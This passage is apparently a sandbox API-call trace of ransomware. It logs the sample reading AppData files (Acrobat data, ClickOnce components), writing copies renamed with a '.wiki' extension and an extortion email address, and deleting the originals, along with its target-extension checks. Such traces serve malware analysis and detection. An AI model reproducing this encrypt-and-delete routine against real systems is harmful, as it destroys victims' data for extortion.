halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.322] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=5120) returned 1 [0174.331] CloseHandle (hObject=0x124) returned 1 [0174.331] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents")) returned 0x2020 [0174.339] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.340] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.340] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.349] GetLastError () returned 0x0 [0174.349] ReadFile (in: hFile=0x124, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x1400, lpOverlapped=0x0) returned 1 [0174.390] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0174.391] ReadFile (in: hFile=0x124, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.391] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0174.391] SetEndOfFile (hFile=0x1b4) returned 1 [0174.391] CloseHandle (hObject=0x1b4) returned 1 [0174.391] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.391] SetEndOfFile (hFile=0x124) returned 1 [0174.392] CloseHandle (hObject=0x124) returned 1 [0174.392] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.392] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents")) returned 1 [0174.392] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.392] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.392] lstrlenW (lpString=".doc") returned 4 [0174.392] lstrcmpiW (lpString1=".doc", lpString2="ents") returned -1 [0174.392] lstrlenW (lpString=".docx") returned 5 [0174.393] lstrcmpiW (lpString1=".docx", lpString2="vents") returned -1 [0174.393] lstrlenW (lpString=".pdf") returned 4 [0174.393] lstrcmpiW (lpString1=".pdf", lpString2="ents") returned -1 [0174.393] lstrlenW (lpString=".xls") returned 4 [0174.393] lstrcmpiW (lpString1=".xls", lpString2="ents") returned -1 [0174.393] lstrlenW (lpString=".xlsx") returned 5 [0174.393] lstrcmpiW (lpString1=".xlsx", lpString2="vents") returned -1 [0174.393] lstrlenW (lpString=".ppt") returned 4 [0174.393] lstrcmpiW (lpString1=".ppt", lpString2="ents") returned -1 [0174.393] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.393] lstrlenW (lpString=".zip") returned 4 [0174.393] lstrcmpiW (lpString1=".zip", lpString2="ents") returned -1 [0174.393] lstrlenW (lpString=".rar") returned 4 [0174.393] lstrcmpiW (lpString1=".rar", lpString2="ents") returned -1 [0174.393] lstrlenW (lpString=".bz2") returned 4 [0174.393] lstrcmpiW (lpString1=".bz2", lpString2="ents") returned -1 [0174.393] lstrlenW (lpString=".7z") returned 3 [0174.393] lstrcmpiW (lpString1=".7z", lpString2="nts") returned -1 [0174.393] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.393] lstrlenW (lpString=".dbf") returned 4 [0174.393] lstrcmpiW (lpString1=".dbf", lpString2="ents") returned -1 [0174.393] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.393] lstrlenW (lpString=".1cd") returned 4 [0174.393] lstrcmpiW (lpString1=".1cd", lpString2="ents") returned -1 [0174.393] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.393] lstrlenW (lpString=".jpg") returned 4 [0174.393] lstrcmpiW (lpString1=".jpg", lpString2="ents") returned -1 [0174.393] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.393] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.393] lstrlenW (lpString=".doc") returned 4 [0174.394] lstrcmpiW (lpString1=".doc", lpString2="ents") returned -1 [0174.394] lstrlenW (lpString=".docx") returned 5 [0174.394] lstrcmpiW (lpString1=".docx", lpString2="vents") returned -1 [0174.394] lstrlenW (lpString=".pdf") returned 4 [0174.394] lstrcmpiW (lpString1=".pdf", lpString2="ents") returned -1 [0174.394] lstrlenW (lpString=".xls") returned 4 [0174.394] lstrcmpiW (lpString1=".xls", lpString2="ents") returned -1 [0174.394] lstrlenW (lpString=".xlsx") returned 5 [0174.394] lstrcmpiW (lpString1=".xlsx", lpString2="vents") returned -1 [0174.394] lstrlenW (lpString=".ppt") returned 4 [0174.394] lstrcmpiW (lpString1=".ppt", lpString2="ents") returned -1 [0174.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.394] lstrlenW (lpString=".zip") returned 4 [0174.394] lstrcmpiW (lpString1=".zip", lpString2="ents") returned -1 [0174.394] lstrlenW (lpString=".rar") returned 4 [0174.394] lstrcmpiW (lpString1=".rar", lpString2="ents") returned -1 [0174.394] lstrlenW (lpString=".bz2") returned 4 [0174.394] lstrcmpiW (lpString1=".bz2", lpString2="ents") returned -1 [0174.394] lstrlenW (lpString=".7z") returned 3 [0174.394] lstrcmpiW (lpString1=".7z", lpString2="nts") returned -1 [0174.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.394] lstrlenW (lpString=".dbf") returned 4 [0174.394] lstrcmpiW (lpString1=".dbf", lpString2="ents") returned -1 [0174.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.394] lstrlenW (lpString=".1cd") returned 4 [0174.394] lstrcmpiW (lpString1=".1cd", lpString2="ents") returned -1 [0174.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0174.394] lstrlenW (lpString=".jpg") returned 4 [0174.394] lstrcmpiW (lpString1=".jpg", lpString2="ents") returned -1 [0174.395] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0174.395] lstrlenW (lpString="clickonce_bootstrap.exe") returned 23 [0174.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.396] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=15440) returned 1 [0174.396] CloseHandle (hObject=0x124) returned 1 [0174.396] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe")) returned 0x80 [0174.396] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.396] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.396] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.397] GetLastError () returned 0x0 [0174.397] ReadFile (in: hFile=0x124, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x3c50, lpOverlapped=0x0) returned 1 [0174.399] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x3c60, lpOverlapped=0x0) returned 1 [0174.400] ReadFile (in: hFile=0x124, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.400] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x102, lpOverlapped=0x0) returned 1 [0174.400] SetEndOfFile (hFile=0x1b4) returned 1 [0174.400] CloseHandle (hObject=0x1b4) returned 1 [0174.400] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.400] SetEndOfFile (hFile=0x124) returned 1 [0174.401] CloseHandle (hObject=0x124) returned 1 [0174.401] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x80) returned 1 [0174.401] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe")) returned 1 [0174.402] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.402] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.402] lstrlenW (lpString=".doc") returned 4 [0174.402] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0174.402] lstrlenW (lpString=".docx") returned 5 [0174.402] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0174.402] lstrlenW (lpString=".pdf") returned 4 [0174.402] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0174.402] lstrlenW (lpString=".xls") returned 4 [0174.402] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0174.402] lstrlenW (lpString=".xlsx") returned 5 [0174.402] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0174.402] lstrlenW (lpString=".ppt") returned 4 [0174.402] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0174.402] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.402] lstrlenW (lpString=".zip") returned 4 [0174.402] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0174.402] lstrlenW (lpString=".rar") returned 4 [0174.402] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0174.402] lstrlenW (lpString=".bz2") returned 4 [0174.402] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0174.402] lstrlenW (lpString=".7z") returned 3 [0174.402] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0174.402] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.403] lstrlenW (lpString=".dbf") returned 4 [0174.403] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0174.403] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.403] lstrlenW (lpString=".1cd") returned 4 [0174.403] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0174.403] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.403] lstrlenW (lpString=".jpg") returned 4 [0174.403] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0174.403] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.403] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.403] lstrlenW (lpString=".doc") returned 4 [0174.403] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0174.403] lstrlenW (lpString=".docx") returned 5 [0174.403] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0174.403] lstrlenW (lpString=".pdf") returned 4 [0174.403] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0174.403] lstrlenW (lpString=".xls") returned 4 [0174.403] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0174.403] lstrlenW (lpString=".xlsx") returned 5 [0174.403] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0174.403] lstrlenW (lpString=".ppt") returned 4 [0174.403] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0174.403] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.403] lstrlenW (lpString=".zip") returned 4 [0174.403] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0174.403] lstrlenW (lpString=".rar") returned 4 [0174.403] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0174.403] lstrlenW (lpString=".bz2") returned 4 [0174.403] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0174.404] lstrlenW (lpString=".7z") returned 3 [0174.404] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0174.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.404] lstrlenW (lpString=".dbf") returned 4 [0174.404] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0174.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.404] lstrlenW (lpString=".1cd") returned 4 [0174.404] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0174.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 157 [0174.404] lstrlenW (lpString=".jpg") returned 4 [0174.404] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0174.404] lstrcmpiW (lpString1=".cdf-ms", lpString2=".wiki") returned -1 [0174.404] lstrlenW (lpString="clickonce_bootstrap.exe.cdf-ms") returned 30 [0174.404] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.405] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=17104) returned 1 [0174.405] CloseHandle (hObject=0x124) returned 1 [0174.405] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms")) returned 0x2020 [0174.405] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.405] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.405] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.405] GetLastError () returned 0x0 [0174.405] ReadFile (in: hFile=0x124, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x42d0, lpOverlapped=0x0) returned 1 [0174.407] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x42e0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x42e0, lpOverlapped=0x0) returned 1 [0174.410] ReadFile (in: hFile=0x124, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.410] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x110, lpOverlapped=0x0) returned 1 [0174.410] SetEndOfFile (hFile=0x1b4) returned 1 [0174.410] CloseHandle (hObject=0x1b4) returned 1 [0174.410] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.410] SetEndOfFile (hFile=0x124) returned 1 [0174.411] CloseHandle (hObject=0x124) returned 1 [0174.411] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", 